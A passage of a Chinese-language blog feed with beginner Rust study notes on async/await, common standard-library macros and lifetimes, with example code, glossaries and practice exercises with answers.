class="keyword">match</span> Future::<span class="title function_ invoke__">poll</span>(Pin::<span class="title function_ invoke__">as_mut</span>(&<span class="keyword">mut</span> future), &<span class="keyword">mut</span> context) {</span><br><span class="line"> Poll::<span class="title function_ invoke__">Ready</span>(value) => value,</span><br><span class="line"> Poll::Pending => <span class="built_in">panic!</span>(<span class="string">"这个简单演示只支持立即完成的 Future"</span>),</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">fetch_number</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="comment">// async fn 返回一个实现 Future 的值;函数体不会立刻执行到完成。</span></span><br><span class="line"> <span class="number">42</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">double_number</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="comment">// await 会等待另一个 Future 完成,并取出结果。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">number</span> = <span class="title function_ invoke__">fetch_number</span>().<span class="keyword">await</span>;</span><br><span class="line"> number * <span class="number">2</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">result</span> = <span class="title function_ invoke__">block_on_ready</span>(<span class="title function_ invoke__">double_number</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"异步计算结果: {result}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"实际网络、文件、定时器异步任务通常需要 Tokio 或 async-std 运行时。"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="运行与观察"><a href="#运行与观察" class="headerlink" title="运行与观察"></a>运行与观察</h2><p>使用 <code>cargo run --bin lesson16_async_await</code> 可以只运行本节示例。</p><p>这里的 <code>--bin</code> 后面写的是 <code>Cargo.toml</code> 中声明的目标名,不是 <code>.rs</code> 文件名。文件名用于组织源码,bin 名用于 Cargo 运行。</p><p>建议初学时先直接运行,再修改一两行代码观察编译器提示。Rust 的错误信息通常会指出所有权、类型或借用规则哪里不满足。</p><h2 id="逐段解读"><a href="#逐段解读" class="headerlink" title="逐段解读"></a>逐段解读</h2><h3 id="async-fn"><a href="#async-fn" class="headerlink" title="async fn"></a>async fn</h3><p>异步函数调用后得到 Future,不是马上得到最终值。</p><h3 id="await"><a href="#await" class="headerlink" title=".await"></a>.await</h3><p>在异步上下文中等待另一个 Future 完成。</p><h3 id="无依赖示例"><a href="#无依赖示例" class="headerlink" title="无依赖示例"></a>无依赖示例</h3><p>本节用标准库展示 Future 被手动推动的基本过程。</p><h3 id="真实项目"><a href="#真实项目" class="headerlink" title="真实项目"></a>真实项目</h3><p>实际网络、文件和定时器异步通常使用 Tokio 等运行时。</p><h2 id="专有词语详解"><a href="#专有词语详解" class="headerlink" title="专有词语详解"></a>专有词语详解</h2><h3 id="async"><a href="#async" class="headerlink" title="async"></a>async</h3><p>声明异步块或异步函数。</p><p><code>async fn load()</code> 不会立即执行完所有逻辑,而是返回 Future。</p><h3 id="await-1"><a href="#await-1" class="headerlink" title="await"></a>await</h3><p>等待 Future 完成并取出结果。</p><p>只能在 async 上下文中使用。</p><h3 id="Future"><a href="#Future" class="headerlink" title="Future"></a>Future</h3><p>代表一个未来可能完成的计算。</p><p>需要被 poll 推动。</p><h3 id="执行器-executor"><a href="#执行器-executor" class="headerlink" title="执行器 executor"></a>执行器 executor</h3><p>负责轮询 Future 的运行组件。</p><p>Tokio 就提供成熟执行器。</p><h3 id="运行时-runtime"><a href="#运行时-runtime" class="headerlink" title="运行时 runtime"></a>运行时 runtime</h3><p>提供执行器、定时器、IO 驱动等能力。</p><p>网络异步通常离不开运行时。</p><h2 id="初学者拓展"><a href="#初学者拓展" class="headerlink" title="初学者拓展"></a>初学者拓展</h2><p>异步不是自动开新线程。它主要让等待中的任务让出执行权。</p><p>并发表示多个任务在时间上交错推进;并行表示多个任务真的在多个 CPU 核心同时运行。</p><p><code>async fn</code> 的返回类型可理解为 <code>impl Future<Output = T></code>。</p><p>没有 <code>.await</code> 或执行器推动,Future 可能只是一个尚未运行完成的状态机。</p><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><ul><li>不要以为调用 <code>async fn</code> 就会立即执行网络请求。它返回的是 Future。</li><li>不要在异步任务里随意执行长时间阻塞操作,否则会卡住运行时线程。</li><li>标准库没有内置完整异步运行时,所以真实应用通常需要外部 crate。</li><li>异步能提升等待型任务吞吐量,不一定让 CPU 密集计算更快。</li></ul><h2 id="进阶练习与参考答案"><a href="#进阶练习与参考答案" class="headerlink" title="进阶练习与参考答案"></a>进阶练习与参考答案</h2><h3 id="练习-1:理解-async-返回值"><a href="#练习-1:理解-async-返回值" class="headerlink" title="练习 1:理解 async 返回值"></a>练习 1:理解 async 返回值</h3><p>要求:写一个返回数字的 <code>async fn</code>,并说明调用结果是什么。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">answer</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="number">42</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">future</span> = <span class="title function_ invoke__">answer</span>();</span><br><span class="line"> <span class="title function_ invoke__">drop</span>(future);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:<code>answer()</code> 返回 Future。没有执行器或 <code>.await</code>,这里不会直接得到 <code>42</code>。</p><h3 id="练习-2:组合-async-函数"><a href="#练习-2:组合-async-函数" class="headerlink" title="练习 2:组合 async 函数"></a>练习 2:组合 async 函数</h3><p>要求:写两个 async 函数,在第三个 async 函数中 await 它们。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">left</span>() <span class="punctuation">-></span> <span class="type">i32</span> { <span class="number">20</span> }</span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">right</span>() <span class="punctuation">-></span> <span class="type">i32</span> { <span class="number">22</span> }</span><br><span class="line"></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">fn</span> <span class="title function_">sum</span>() <span class="punctuation">-></span> <span class="type">i32</span> {</span><br><span class="line"> <span class="title function_ invoke__">left</span>().<span class="keyword">await</span> + <span class="title function_ invoke__">right</span>().<span class="keyword">await</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:<code>await</code> 只能写在 async 函数或 async 块里。</p><h3 id="练习-3:区分并发和并行"><a href="#练习-3:区分并发和并行" class="headerlink" title="练习 3:区分并发和并行"></a>练习 3:区分并发和并行</h3><p>要求:用文字说明异步适合什么任务。</p><p>参考答案:</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">异步适合网络请求、文件 IO、数据库访问等等待型任务。它让一个线程在等待某个任务时继续推进其他任务。CPU 密集计算通常需要线程池或并行计算库。</span><br></pre></td></tr></table></figure></div><p>解释:这道题没有固定代码答案,重点是理解异步的使用边界。</p><h2 id="相关笔记"><a href="#相关笔记" class="headerlink" title="相关笔记"></a>相关笔记</h2><ul><li><a href="https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/">Rust学习笔记 15:常用标准库函数与实用宏</a></li></ul>]]></content>
<summary type="html"></summary>
<category term="Rust" scheme="https://kylinxin.github.io/categories/Rust/"/>
<category term="Rust" scheme="https://kylinxin.github.io/tags/Rust/"/>
<category term="Cargo" scheme="https://kylinxin.github.io/tags/Cargo/"/>
<category term="异步编程" scheme="https://kylinxin.github.io/tags/%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B/"/>
</entry>
<entry>
<title>Rust学习笔记 15:常用标准库函数与实用宏</title>
<link href="https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/"/>
<id>https://kylinxin.github.io/2026/04/15/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-15-%E5%B8%B8%E7%94%A8%E6%A0%87%E5%87%86%E5%BA%93%E5%87%BD%E6%95%B0%E4%B8%8E%E5%AE%9E%E7%94%A8%E5%AE%8F/</id>
<published>2026-04-15T01:00:00.000Z</published>
<updated>2026-05-06T11:50:00.000Z</updated>
<content type="html"><![CDATA[<p>对应代码文件:<code>src/bin/15_std_functions_macros.rs</code></p><p>运行命令:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cargo run --bin lesson15_std_functions_macros</span><br></pre></td></tr></table></figure></div><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><p>本节整理日常 Rust 编程中常见的标准库函数、方法和宏。它们能显著提高代码表达力。</p><p>宏看起来像函数,但以 <code>!</code> 结尾,并在编译期展开。常见宏包括 <code>println!</code>、<code>format!</code>、<code>vec!</code>、<code>dbg!</code>。</p><ul><li>理解函数、方法和宏的基本区别。</li><li>掌握格式化输出、调试输出和集合创建。</li><li>会使用 <code>Option</code>、<code>Result</code> 的常用方法。</li><li>知道 <code>dbg!</code>、<code>assert!</code>、<code>panic!</code> 的适用场景。</li></ul><h2 id="核心概念速查"><a href="#核心概念速查" class="headerlink" title="核心概念速查"></a>核心概念速查</h2><table><thead><tr><th>术语</th><th>基本意思</th><th>本节用途</th></tr></thead><tbody><tr><td>标准库 std</td><td>Rust 自带的基础功能库。</td><td>包括集合、字符串、IO、线程、时间等。</td></tr><tr><td>宏 macro</td><td>编译期展开的代码生成机制。</td><td>以 <code>!</code> 结尾,如 <code>println!</code>。</td></tr><tr><td>format!</td><td>生成格式化字符串但不直接打印。</td><td>常用于拼接可读文本。</td></tr><tr><td>dbg!</td><td>打印表达式和位置,返回表达式值。</td><td>适合临时调试。</td></tr><tr><td>assert!</td><td>断言条件必须为真。</td><td>常用于测试或检查程序假设。</td></tr></tbody></table><h2 id="完整源码"><a href="#完整源码" class="headerlink" title="完整源码"></a>完整源码</h2><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="comment">// vec! 创建可增长的 Vec;后续 push 体现它和固定数组的区别。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">numbers</span> = <span class="built_in">vec!</span>[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>];</span><br><span class="line"> numbers.<span class="title function_ invoke__">push</span>(<span class="number">6</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// iter/map/filter/collect 是标准库中常用的迭代器组合。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">even_squares</span>: <span class="type">Vec</span><<span class="type">i32</span>> = numbers</span><br><span class="line"> .<span class="title function_ invoke__">iter</span>()</span><br><span class="line"> .<span class="title function_ invoke__">map</span>(|n| n * n)</span><br><span class="line"> .<span class="title function_ invoke__">filter</span>(|n| n % <span class="number">2</span> == <span class="number">0</span>)</span><br><span class="line"> .<span class="title function_ invoke__">collect</span>();</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"偶数平方: {even_squares:?}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Option 常用 map、unwrap_or 等方法处理可能不存在的值。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">maybe_name</span> = <span class="title function_ invoke__">Some</span>(<span class="string">"Rust"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">display_name</span> = maybe_name</span><br><span class="line"> .<span class="title function_ invoke__">map</span>(<span class="type">str</span>::to_uppercase)</span><br><span class="line"> .<span class="title function_ invoke__">unwrap_or</span>(<span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"UNKNOWN"</span>));</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"名称: {display_name}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// dbg! 会打印表达式和结果,适合临时调试。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">total</span>: <span class="type">i32</span> = numbers.<span class="title function_ invoke__">iter</span>().<span class="title function_ invoke__">sum</span>();</span><br><span class="line"> dbg!(total);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// format! 生成 String,println! 输出到终端,vec! 创建 Vec。</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">message</span> = <span class="built_in">format!</span>(<span class="string">"一共有 {} 个数字"</span>, numbers.<span class="title function_ invoke__">len</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{message}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// assert_eq! 常用于测试或运行时检查。</span></span><br><span class="line"> <span class="built_in">assert_eq!</span>(numbers.<span class="title function_ invoke__">first</span>(), <span class="title function_ invoke__">Some</span>(&<span class="number">1</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="运行与观察"><a href="#运行与观察" class="headerlink" title="运行与观察"></a>运行与观察</h2><p>使用 <code>cargo run --bin lesson15_std_functions_macros</code> 可以只运行本节示例。</p><p>这里的 <code>--bin</code> 后面写的是 <code>Cargo.toml</code> 中声明的目标名,不是 <code>.rs</code> 文件名。文件名用于组织源码,bin 名用于 Cargo 运行。</p><p>建议初学时先直接运行,再修改一两行代码观察编译器提示。Rust 的错误信息通常会指出所有权、类型或借用规则哪里不满足。</p><h2 id="逐段解读"><a href="#逐段解读" class="headerlink" title="逐段解读"></a>逐段解读</h2><h3 id="println"><a href="#println" class="headerlink" title="println!"></a>println!</h3><p>用于向终端打印文本,支持 <code>{}</code>、<code>{:?}</code> 等格式占位。</p><h3 id="format"><a href="#format" class="headerlink" title="format!"></a>format!</h3><p>返回 <code>String</code>,适合构造后续要保存或返回的文本。</p><h3 id="vec"><a href="#vec" class="headerlink" title="vec!"></a>vec!</h3><p>快速创建 <code>Vec</code>,如 <code>vec![1, 2, 3]</code>。</p><h3 id="Option-方法"><a href="#Option-方法" class="headerlink" title="Option 方法"></a>Option 方法</h3><p><code>unwrap_or</code> 可以在 <code>None</code> 时提供默认值。</p><h2 id="专有词语详解"><a href="#专有词语详解" class="headerlink" title="专有词语详解"></a>专有词语详解</h2><h3 id="标准库-std"><a href="#标准库-std" class="headerlink" title="标准库 std"></a>标准库 std</h3><p>Rust 自带的基础功能库。</p><p>包括集合、字符串、IO、线程、时间等。</p><h3 id="宏-macro"><a href="#宏-macro" class="headerlink" title="宏 macro"></a>宏 macro</h3><p>编译期展开的代码生成机制。</p><p>以 <code>!</code> 结尾,如 <code>println!</code>。</p><h3 id="format-1"><a href="#format-1" class="headerlink" title="format!"></a>format!</h3><p>生成格式化字符串但不直接打印。</p><p>常用于拼接可读文本。</p><h3 id="dbg"><a href="#dbg" class="headerlink" title="dbg!"></a>dbg!</h3><p>打印表达式和位置,返回表达式值。</p><p>适合临时调试。</p><h3 id="assert"><a href="#assert" class="headerlink" title="assert!"></a>assert!</h3><p>断言条件必须为真。</p><p>常用于测试或检查程序假设。</p><h2 id="初学者拓展"><a href="#初学者拓展" class="headerlink" title="初学者拓展"></a>初学者拓展</h2><p><code>println!</code> 是宏,因为它需要支持可变数量参数和格式字符串检查。</p><p><code>dbg!</code> 会取得表达式所有权并返回它。调试非 Copy 值时要注意是否发生移动。</p><p><code>assert_eq!</code> 比 <code>assert!(a == b)</code> 的失败信息更清楚。</p><p>标准库方法通常比手写循环更简洁,但初学时应该先理解它们背后的所有权和迭代器行为。</p><h2 id="常见误区"><a href="#常见误区" class="headerlink" title="常见误区"></a>常见误区</h2><ul><li>不要把 <code>format!</code> 和 <code>println!</code> 混淆。前者返回字符串,后者打印到终端。</li><li><code>unwrap_or(default)</code> 会立即计算默认值。默认值计算昂贵时考虑 <code>unwrap_or_else</code>。</li><li>不要把 <code>dbg!</code> 长期留在正式输出里。</li><li>宏不是普通函数,错误信息有时会指向展开后的代码,需要回到宏调用位置理解。</li></ul><h2 id="进阶练习与参考答案"><a href="#进阶练习与参考答案" class="headerlink" title="进阶练习与参考答案"></a>进阶练习与参考答案</h2><h3 id="练习-1:格式化用户信息"><a href="#练习-1:格式化用户信息" class="headerlink" title="练习 1:格式化用户信息"></a>练习 1:格式化用户信息</h3><p>要求:用 <code>format!</code> 生成用户描述字符串。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">name</span> = <span class="string">"Kylin"</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">age</span> = <span class="number">20</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">text</span> = <span class="built_in">format!</span>(<span class="string">"用户 {name}, 年龄 {age}"</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{text}"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:<code>format!</code> 返回 <code>String</code>,后续可以保存或传给函数。</p><h3 id="练习-2:Option-默认值"><a href="#练习-2:Option-默认值" class="headerlink" title="练习 2:Option 默认值"></a>练习 2:Option 默认值</h3><p>要求:读取可选分数,没有分数时使用 0。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">score</span>: <span class="type">Option</span><<span class="type">i32</span>> = <span class="literal">None</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">value</span> = score.<span class="title function_ invoke__">unwrap_or</span>(<span class="number">0</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"{value}"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:<code>unwrap_or</code> 是处理 <code>None</code> 的常用方法。</p><h3 id="练习-3:断言检查"><a href="#练习-3:断言检查" class="headerlink" title="练习 3:断言检查"></a>练习 3:断言检查</h3><p>要求:检查数组长度是否为 3。</p><p>参考答案:</p><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">values</span> = <span class="built_in">vec!</span>[<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>];</span><br><span class="line"> <span class="built_in">assert_eq!</span>(values.<span class="title function_ invoke__">len</span>(), <span class="number">3</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"检查通过"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p>解释:<code>assert_eq!</code> 在左右不相等时给出清晰失败信息。</p><h2 id="相关笔记"><a href="#相关笔记" class="headerlink" title="相关笔记"></a>相关笔记</h2><ul><li><a href="https://kylinxin.github.io/2026/04/14/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-14-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/">Rust学习笔记 14:生命周期</a></li><li><a href="https://kylinxin.github.io/2026/04/16/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-16-%E5%BC%82%E6%AD%A5%E7%BC%96%E7%A8%8B%20async-await/">Rust学习笔记 16:异步编程 async-await</a></li></ul>]]></content>
<summary type="html"></summary>
<category term="Rust" scheme="https://kylinxin.github.io/categories/Rust/"/>
<category term="Rust" scheme="https://kylinxin.github.io/tags/Rust/"/>
<category term="Cargo" scheme="https://kylinxin.github.io/tags/Cargo/"/>
<category term="标准库" scheme="https://kylinxin.github.io/tags/%E6%A0%87%E5%87%86%E5%BA%93/"/>
</entry>
<entry>
<title>Rust学习笔记 14:生命周期</title>
<link href="https://kylinxin.github.io/2026/04/14/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-14-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/"/>
<id>https://kylinxin.github.io/2026/04/14/Rust%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-14-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/</id>
<published>2026-04-14T01:00:00.000Z</published>
<updated>2026-05-06T11:50:00.000Z</updated>
<content type="html"><![CDATA[<p>对应代码文件:<code>src/bin/14_lifetimes.rs</code></p><p>运行命令:</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cargo run --bin lesson14_lifetimes</span><br></pre></td></tr></table></figure></div><h2 id="学习目标"><a href="#学习目标" class="headerlink" title="学习目标"></a>学习目标</h2><p>生命周期描述引用有效的范围。它让编译器确认引用不会指向已经释放的数据。</p><p>初学时不要把生命周期理解成手动控制内存。它只是对引用关系的标注和检查。</p><ul><li>理解生命周期用于防止悬垂引用。</li><li>知道很多生命周期可以由编译器自动省略。</li><li>会读懂简单的 <code>'a</code> 标注。</li><li>理解结构体中保存引用时为什么需要生命周期参数。</li></ul><h2 id="核心概念速查"><a href="#核心概念速查" class="headerlink" title="核心概念速查"></a>核心概念速查</h2><table><thead><tr><th>术语</th><th>基本意思</th><th>本节用途</th></tr></thead><tbody><tr><td>生命周期 lifetime</td><td>引用保持有效的代码范围。</td><td><code>'a</code> 是生命周期参数名。</td></tr><tr><td>悬垂引用 dangling reference</td><td>指向已经无效数据的引用。</td><td>Rust 编译器会阻止它。</td></tr><tr><td>生命周期标注</td><td>显式说明多个引用之间的有效期关系。</td><td><code>fn longest<'a>(x: &'a str, y: &'a str) -> &'a str</code>。</td></tr><tr><td>生命周期省略</td><td>编译器按规则自动推断常见生命周期。</td><td>很多函数不需要手写 <code>'a</code>。</td></tr><tr><td>‘static</td><td>能存活整个程序运行期间的生命周期。</td><td>字符串字面量通常是 <code>&'static str</code>。</td></tr></tbody></table><h2 id="完整源码"><a href="#完整源码" class="headerlink" title="完整源码"></a>完整源码</h2><div class="code-container" data-rel="Rust"><figure class="iseeu highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">longest</span><<span class="symbol">'a</span>>(left: &<span class="symbol">'a</span> <span class="type">str</span>, right: &<span class="symbol">'a</span> <span class="type">str</span>) <span class="punctuation">-></span> &<span class="symbol">'a</span> <span class="type">str</span> {</span><br><span class="line"> <span class="comment">// 生命周期标注说明:返回引用的有效期不超过两个输入引用中较短的那个。</span></span><br><span class="line"> <span class="keyword">if</span> left.<span class="title function_ invoke__">len</span>() >= right.<span class="title function_ invoke__">len</span>() {</span><br><span class="line"> left</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> right</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">ImportantExcerpt</span><<span class="symbol">'a</span>> {</span><br><span class="line"> <span class="comment">// 结构体保存引用时,需要说明引用必须活得和结构体一样久。</span></span><br><span class="line"> part: &<span class="symbol">'a</span> <span class="type">str</span>,</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span><<span class="symbol">'a</span>> ImportantExcerpt<<span class="symbol">'a</span>> {</span><br><span class="line"> <span class="keyword">fn</span> <span class="title function_">announce_and_return_part</span>(&<span class="keyword">self</span>, announcement: &<span class="type">str</span>) <span class="punctuation">-></span> &<span class="type">str</span> {</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"通知: {announcement}"</span>);</span><br><span class="line"> <span class="keyword">self</span>.part</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">first</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"short"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">second</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"a longer string"</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">result</span> = <span class="title function_ invoke__">longest</span>(&first, &second);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"更长的是: {result}"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">novel</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"Rust is safe. Rust is fast."</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">first_sentence</span> = novel.<span class="title function_ invoke__">split</span>(<span class="string">'.'</span>).<span class="title function_ invoke__">next</span>().<span class="title function_ invoke__">unwrap_or</span>(<span class="string">""</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">excerpt</span> = ImportantExcerpt {</span><br><span class="line"> part: first_sentence,</span><br><span class="line"> };</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"摘录: {}"</span>, excerpt.<span class="title function_ invoke__">announce_and_return_part</span>(<span class="string">"开始阅读"</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h2 id="运行与观察"><a href="#运行与观察" class="headerlink" title="运行与观察"></a>运行与观察</h2><p>使用 <code>cargo run --bin lesson14_lifetimes</code> 可以只运行本节示例。</p><p>这里的 <code>--bin</code> 后面写的是 <code>Cargo.toml</code> 中声明的目标名,不是 <code>.rs</code> 文件名。文件名用于组织源码,bin 名用于 Cargo 运行。</p><p>建议初学时先直接运行,再修改一两行代码观察编译器提示。Rust 的错误信息通常会指出所有权、类型或借用规则哪里不满足。</p><h2 id="逐段解读"><a href="#逐段解读" class="headerlink" title="逐段解读"></a>逐段解读</h2><h3 id="返回引用"><a href="#返回引用" class="headerlink" title="返回引用"></a>返回引用</h3><p>函数返回引用时,编译器必须知道它来自哪个输入。</p><h3 id="longest"><a href="#longest" class="headerlink" title="longest"></a>longest</h3><p><code>longest<'a></code> 表示返回值不会比两个输入引用中较短者活得更久。</p><h3 id="结构体引用字段"><a href="#结构体引用字段" class="headerlink" title="结构体引用字段"></a>结构体引用字段</h3><p>结构体保存引用时,要在类型上标注生命周期。</p><h3 id="字符串字面量"><a href="#字符串字面量" class="headerlink" title="字符串字面量"></a>字符串字面量</h3><p>字面量存放在程序二进制中,常具有 <code>'static</code> 生命周期。</p><h2 id="专有词语详解"><a href="#专有词语详解" class="headerlink" title="专有词语详解"></a>专有词语详解</h2><h3 id="生命周期-lifetime"><a 